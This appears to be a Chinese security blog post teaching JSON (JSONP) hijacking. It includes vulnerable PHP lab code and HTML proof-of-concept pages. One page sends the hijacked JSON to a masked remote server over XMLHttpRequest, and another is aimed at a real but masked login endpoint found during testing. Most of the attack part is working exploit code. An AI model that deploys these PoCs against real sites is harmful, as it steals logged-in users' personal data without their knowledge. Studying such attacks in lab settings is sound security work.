json劫持学习

本文介绍了JSON劫持的概念,这是一种利用类似CSRF的手段获取敏感数据的攻击方式。当Web应用以JSON形式返回敏感数据并仅依赖cookie验证时,攻击者可能发起攻击。文章通过靶场练习展示了如何利用POC获取JSON信息,并分享了实际测试中遇到的一个接口案例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

JSON劫持

json劫持攻击又为”JSON Hijacking”,攻击过程有点类似于csrf,只不过csrf只管发送http请求,但是json-hijack的目的是获取敏感数据。

一些web应用会把一些敏感数据以json的形式返回到前端,如果仅仅通过cookie来判断请求是否合法,那么就可以利用类似csrf的手段,向目标服务器发送请求,以获得敏感数据。

靶场练习

在这里插入图片描述
json漏洞代码

<?php
	include "../class/function.class.php";
	$reqMethod = "GET";
	$reqValue = "callback";
	$p = new Func($reqMethod, $reqValue);
	$info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', 'sex' => 'Cool Man');
	if(!@$_GET['callback']){
		echo $p -> con_function('json_encode',$info);
	}else{
		$callback = htmlspecialchars($_GET['callback']);
		echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")";
	}
?>

POC

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>json劫持</title>
</head>
<body>
    <script>
    function vulkey(data)
    {
        alert(JSON.stringify(data));
        }
        </script>
<script src="http://localhost/DoraBox-master/csrf/jsonp.php?callback=vulkey">
</script>
</body>
</html>

将上面poc保存成html文件,点击
在这里插入图片描述
可以看到成功将json信息带出来了
如下poc可以将json信息发送到远端服务器

<html>
<head>
    <title>txf</title>
<script>
	var xmlhttp;
    function txf(a)
    {
    xmlhttp=new XMLHttpRequest()
	var x="http://***.***.***/json.php?name="+a.data.name;
	xmlhttp.open("GET", x, true);
	xmlhttp.send();
	}
</script>>
<script src=http://***.***.***?callback=txf></script>
</head>
</html>

实中的一次测试

发现一接口
http://******.com/klogin/request/login.ashx?act=json&jsonp=showUser&jsoncallback=
在这里插入图片描述
构造poc

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>json劫持</title>
</head>
<body>
    <script>
    function v(data)
    {
        alert(JSON.stringify(data));
        }
        </script>
<script src="http://****.com/klogin/request/login.ashx?act=json&jsonp=v">
</script>
</body>
</html>

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值